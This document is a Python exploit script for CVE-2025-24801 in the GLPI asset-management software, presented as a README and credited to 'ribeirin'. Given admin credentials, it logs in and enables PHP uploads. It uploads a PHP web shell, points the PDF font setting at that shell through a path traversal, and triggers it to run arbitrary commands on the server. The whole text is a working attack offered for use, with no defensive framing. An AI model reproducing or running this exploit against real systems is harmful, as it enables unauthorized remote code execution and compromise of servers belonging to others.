README.md
Rendering markdown...
import bs4
import requests
import re
import uuid
import sys
import argparse
from urllib.parse import urljoin, urlparse
BANNER = f"""
╔════════════════════════╗
║ Exploit CVE-2025-24801 ║
║ By ribeirin ║
╚════════════════════════╝
"""
def create_computer(session, url):
print('[CVE-2025-24801] Trying to create a computer to generate a report')
computer_form_url = f'{url}/front/computer.form.php'
get_info_url = f'{url}/front/computer.form.php?id=-1&withtemplate=2'
req_get_info_computer = session.get(get_info_url)
req_get_info_soup = bs4.BeautifulSoup(req_get_info_computer.text, 'html.parser')
_glpi_csrf_token = req_get_info_soup.find('input', {'name': '_glpi_csrf_token'})['value']
random = uuid.uuid4()
data = {
'entities_id': 0,
'_glpi_csrf_token': _glpi_csrf_token,
'name': f'PC_{random}',
'states_id': 0,
'locations_id': 0,
'computertypes_id': 0,
'users_id_tech': 0,
'manufacturers_id': 0,
'groups_id_tech': 0,
'computermodels_id': 0,
'contact_num': '',
'serial': '',
'contact': '',
'otherserial': '',
'users_id': 0,
'networks_id': 0,
'groups_id': 0,
'uuid': '',
'comment': '',
'autoupdatesystems_id': 0,
'add': 1,
'_glpi_csrf_token': _glpi_csrf_token
}
req_post = session.post(
computer_form_url,
files={k: (None, v) for k, v in data.items()}, # Trick to send multipart/form-data
allow_redirects=True
)
if 'Access Denied' not in req_post.text:
print("[CVE-2025-24801] Computer created successfully!")
else:
print("[CVE-2025-24801] Failed to create computer.")
def set_pdf_font(session, url, glpi_temp_dir):
print(f'[CVE-2025-24801] Trying to set PDF FONT with following value: ../../../../../../../../{glpi_temp_dir}/shell')
config_url = f"{url}/front/config.form.php"
req_config = session.get(config_url)
config_soup = bs4.BeautifulSoup(req_config.text, 'html.parser')
_glpi_csrf_token = config_soup.find('input', {'name': '_glpi_csrf_token'})['value']
payload = f'../../../../../../../../{glpi_temp_dir}/shell'
data = f'language=en_US&date_format=0&names_format=0&number_format=0&list_limit=15&backcreated=0&use_flat_dropdowntree=0&use_flat_dropdowntree_on_search_result=1&show_count_on_tabs=1&is_ids_visible=0&keep_devices_when_purging_item=0¬ification_to_myself=1&display_count_on_home=5&pdffont={payload}&csv_delimiter=%3B&palette=auror&page_layout=vertical&richtext_layout=classic&highcontrast_css=0&default_central_tab=0&timeline_order=natural&followup_private=0&show_jobs_at_login=0&task_private=0&default_requesttypes_id=1&task_state=1&refresh_views=0&set_default_tech=1&set_default_requester=1&timeline_action_btn_layout=0&timeline_date_format=0&priority_1=%23fff2f2&priority_2=%23ffe0e0&priority_3=%23ffcece&priority_4=%23ffbfbf&priority_5=%23ffadad&priority_6=%23ff5555&duedateok_color=%2306ff00&duedatewarning_color=%23ffb800&duedatewarning_less=20&duedatewarning_unit=%25&duedatecritical_color=%23ff0000&duedatecritical_less=5&duedatecritical_unit=%25&default_dashboard_central=central&default_dashboard_assets=assets&default_dashboard_helpdesk=assistance&default_dashboard_mini_ticket=mini_tickets&update=Save&_glpi_csrf_token={_glpi_csrf_token}'
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
req_post = session.post(config_url, data=data, headers=headers)
if 'Access Denied' not in req_post.text:
print("[CVE-2025-24801] PDF font set successfully!")
else:
print("[CVE-2025-24801] Failed to set PDF font.")
def get_glpi_temp_dir(session, url):
print("[CVE-2025-24801] Trying to get GLPI TEMP DIR")
req = session.get(f'{url}/ajax/common.tabs.php?_glpi_tab=Config%245&formoptions=data-track-changes%3Dtrue&_target=%2Ffront%2Fconfig.form.php&_itemtype=Config&id=1')
match = re.search(r'GLPI_TMP_DIR:\s*"([^"]+)"', req.text)
if match:
glpi_temp_dir = match.group(1)
print(f"[CVE-2025-24801] Found GLPI TEMP DIR: {glpi_temp_dir}")
return glpi_temp_dir
else:
print("[CVE-2025-24801] GLPI_TMP_DIR not found in the response.")
return None
def upload_file(session, url, payload_php):
print('[CVE-2025-24801] Trying to upload following shell php: <?php system($_GET["cmd"]); ?>')
req_url = f'{url}/ajax/fileupload.php'
req_document_url = f'{url}/front/document.form.php'
req_document = session.get(req_document_url)
req_document_soup = bs4.BeautifulSoup(req_document.text, 'html.parser')
_glpi_csrf_token = req_document_soup.find('input', {'name': '_glpi_csrf_token'})['value']
headers = {
'X-Glpi-Csrf-Token': _glpi_csrf_token
}
files = {
'_uploader_filename[]': ('shell.php', payload_php, 'application/x-php')
}
form_data = {
'name': '_uploader_filename',
'showfilesize': '1'
}
upload_response = session.post(
req_url,
headers=headers,
files=files,
data=form_data
)
if 'Access Denied' not in upload_response.text:
print("[CVE-2025-24801] File uploaded successfully!")
else:
print("[CVE-2025-24801] Failed to upload file.")
def create_document_type(session, url):
print('[CVE-2025-24801] Trying create a document type to allow php extension')
req_url = f'{url}/front/documenttype.form.php'
for id in range(1, 10000):
req_get_last_doctype_id = session.get(f'{req_url}?id={id}')
if 'Item Not Found' in req_get_last_doctype_id.text:
doc_type_id = id
break
req_get_info = session.get(req_url)
req_get_info_soup = bs4.BeautifulSoup(req_get_info.text, 'html.parser')
_glpi_csrf_token = req_get_info_soup.find('input', {'name': '_glpi_csrf_token'})['value']
data = {
'_glpi_csrf_token': _glpi_csrf_token,
'name': 'Windows Media - Exploit',
'comment': '',
'icon': 'ai-dist.png',
'is_uploadable': 1,
'ext': 'php',
'mime': '',
'add': 1,
'_glpi_csrf_token': _glpi_csrf_token
}
req_post = session.post(
req_url,
files={k: (None, v) for k, v in data.items()}, # Trick to send multipart/form-data
allow_redirects=True
)
verify_document = session.get(f'{url}/front/documenttype.form.php?id={doc_type_id}')
if 'Item Not Found' not in verify_document.text:
print(f"[CVE-2025-24801] Document type with ID {doc_type_id} created successfully!")
else:
print(f"[CVE-2025-24801] Failed to create document type with ID {doc_type_id}.")
def authenticate_glpi(url, username, password):
print('[CVE-2025-24801] Trying authenticate')
session = requests.Session()
login_page_url = urljoin(url, '/front/login.php')
login_response = session.get(login_page_url)
soup = bs4.BeautifulSoup(login_response.text, 'html.parser')
csrf_token = soup.find('meta', {'property': 'glpi:csrf_token'})['content']
form_fields = {}
for input_field in soup.find_all('input'):
if input_field.get('name'):
form_fields[input_field.get('name')] = input_field.get('value', '')
login_name = None
password_name = None
remember_name = None
for field in soup.find_all('input'):
if field.get('id') == 'login_name':
login_name = field.get('name')
elif field.get('id') == 'login_password':
password_name = field.get('name')
elif field.get('id') == 'login_remember':
remember_name = field.get('name')
if not login_name:
for name in form_fields.keys():
if name.endswith('2'):
login_name = name
elif name.endswith('4'):
password_name = name
elif name.endswith('5'):
remember_name = name
auth_data = {
'noAUTO': form_fields.get('noAUTO', '0'),
'redirect': form_fields.get('redirect', ''),
'_glpi_csrf_token': csrf_token,
'auth': 'local',
'submit': 'Login'
}
if login_name:
auth_data[login_name] = username
if password_name:
auth_data[password_name] = password
if remember_name:
auth_data[remember_name] = 'on'
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
try:
auth_response = session.post(
login_page_url,
headers=headers,
data=auth_data,
allow_redirects=False
)
cookie_session, cookie_remember = session.cookies.items()
if 'glpi' in cookie_session[0] and '_rememberme' in cookie_remember[0]:
print("[CVE-2025-24801] Authentication successful")
return session
except:
print(f"[CVE-2025-24801] Authentication failed")
exit()
def is_valid_url(url):
try:
result = urlparse(url)
return all([result.scheme, result.netloc])
except:
return False
def main():
parser = argparse.ArgumentParser(description="Exploit CVE-2025-24801")
parser.add_argument('--url', help="URL to exploit. Example: http://172.16.11.130:8080", required=True)
parser.add_argument('--username', help="Username administrator account", required=True)
parser.add_argument('--password', help="Password administrator account", required=True)
parser.add_argument('--cmd', help="Execute a command. To run this command, it's necessary run the exploit without this flag to create the cenary and then run the exploit with this parameter", required=False)
args = parser.parse_args()
print(BANNER)
if not (args.url or args.username or args.password):
parser.print_help()
return
if args.url:
if is_valid_url(args.url):
pass
else:
print(f"[CVE-2025-24801][-] Invalid URL: {args.url}")
url = args.url
username = args.username
password = args.password
print(f"[CVE-2025-24801] Starting")
session = authenticate_glpi(url, username, password)
shell_url = f'{url}/front/report.dynamic.php?item_type=Computer&sort[0]=1&order[0]=ASC&start=0&criteria[0][field]=view&criteria[0][link]=contains&criteria[0][value]=&display_type=2&cmd='
if not args.cmd:
create_document_type(session, url)
payload_php = '<?php system($_GET["cmd"]); ?>'
upload_file(session, url, payload_php)
glpi_temp_dir = get_glpi_temp_dir(session, url)
set_pdf_font(session, url, glpi_temp_dir)
create_computer(session, url)
cmd = 'id'
req = session.get(f'{shell_url}{cmd}')
print(f'[CVE-2025-24801] {req.text}')
sys.stdout.write('\033[F\033[K')
print(f'[CVE-2025-24801] URL SHELL: {shell_url}')
else:
cmd = args.cmd
req = session.get(f'{shell_url}{cmd}')
print(f'[CVE-2025-24801] {req.text}')
sys.stdout.write('\033[F\033[K')
if __name__ == "__main__":
main()